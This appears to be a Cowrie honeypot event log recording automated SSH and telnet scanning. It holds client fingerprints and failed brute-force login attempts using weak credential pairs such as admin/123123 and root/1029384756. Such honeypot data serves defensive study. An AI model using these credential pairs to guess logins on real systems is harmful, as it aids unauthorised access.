{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:55.413245Z","src_ip":"45.156.87.254","session":"e203b7cbbd4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgresql","password":"postgresql","message":"login attempt [postgresql/postgresql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:55.957517Z","src_ip":"45.156.87.254","session":"e203b7cbbd4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:56.265052Z","src_ip":"185.16.214.226","session":"83f4cb24c94a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:57.057490Z","src_ip":"45.156.87.254","session":"e203b7cbbd4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0b2c9c88db2","protocol":"ssh","message":"New connection: 45.156.87.254:40944 (159.203.135.109:22) [session: c0b2c9c88db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:00.409664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:00.414901Z","src_ip":"45.156.87.254","session":"c0b2c9c88db2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:00.499089Z","src_ip":"45.156.87.254","session":"c0b2c9c88db2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:00.922052Z","src_ip":"45.156.87.254","session":"c0b2c9c88db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:02.014430Z","src_ip":"45.156.87.254","session":"c0b2c9c88db2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":40946,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf1ca79f795c","protocol":"ssh","message":"New connection: 45.156.87.254:40946 (159.203.135.109:22) [session: bf1ca79f795c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:05.660047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:05.730797Z","src_ip":"45.156.87.254","session":"bf1ca79f795c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:05.767337Z","src_ip":"45.156.87.254","session":"bf1ca79f795c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:06.067830Z","src_ip":"45.156.87.254","session":"bf1ca79f795c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:07.154041Z","src_ip":"45.156.87.254","session":"bf1ca79f795c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":54668,"dst_ip":"10.17.0.5","dst_port":22,"session":"e587bffd0e74","protocol":"ssh","message":"New connection: 45.144.233.139:54668 (10.17.0.5:22) [session: e587bffd0e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.529908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.534704Z","src_ip":"45.144.233.139","session":"e587bffd0e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.621747Z","src_ip":"45.144.233.139","session":"e587bffd0e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38490,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3fe0df57294","protocol":"ssh","message":"New connection: 45.156.87.254:38490 (159.203.135.109:22) [session: e3fe0df57294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.627602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.634448Z","src_ip":"45.156.87.254","session":"e3fe0df57294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.717515Z","src_ip":"45.156.87.254","session":"e3fe0df57294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:10.971025Z","src_ip":"45.156.87.254","session":"e3fe0df57294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"t3st3r","message":"login attempt [tester/t3st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:11.002043Z","src_ip":"45.144.233.139","session":"e587bffd0e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:12.055894Z","src_ip":"45.156.87.254","session":"e3fe0df57294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:12.092024Z","src_ip":"45.144.233.139","session":"e587bffd0e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.11548948287964,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:12.774310Z","src_ip":"20.123.41.163","session":"e5353f3cd441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38502,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d4853435c04","protocol":"ssh","message":"New connection: 45.156.87.254:38502 (159.203.135.109:22) [session: 0d4853435c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:15.863094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:15.935801Z","src_ip":"45.156.87.254","session":"0d4853435c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:15.986495Z","src_ip":"45.156.87.254","session":"0d4853435c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:16.316555Z","src_ip":"45.156.87.254","session":"0d4853435c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:17.407376Z","src_ip":"45.156.87.254","session":"0d4853435c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":33574,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e562fd38af5","protocol":"telnet","message":"New connection: 20.123.41.163:33574 (10.17.0.5:23) [session: 3e562fd38af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:20.627239Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":36862,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63bfee96c42","protocol":"ssh","message":"New connection: 103.143.231.102:36862 (10.17.0.5:22) [session: e63bfee96c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.021493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.026485Z","src_ip":"103.143.231.102","session":"e63bfee96c42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.097233Z","src_ip":"103.143.231.102","session":"e63bfee96c42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty","message":"login attempt [deploy/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.414748Z","src_ip":"103.143.231.102","session":"e63bfee96c42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57422,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2712fcd6f2d","protocol":"ssh","message":"New connection: 45.156.87.254:57422 (159.203.135.109:22) [session: d2712fcd6f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.455477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.459978Z","src_ip":"45.156.87.254","session":"d2712fcd6f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.545213Z","src_ip":"45.156.87.254","session":"d2712fcd6f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:21.806298Z","src_ip":"45.156.87.254","session":"d2712fcd6f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:22.488710Z","src_ip":"103.143.231.102","session":"e63bfee96c42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:22.895019Z","src_ip":"45.156.87.254","session":"d2712fcd6f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57428,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcee0c3ccae6","protocol":"ssh","message":"New connection: 45.156.87.254:57428 (159.203.135.109:22) [session: dcee0c3ccae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:26.817327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:08:26.821195Z","src_ip":"45.156.87.254","session":"dcee0c3ccae6","protocol":"ssh"}
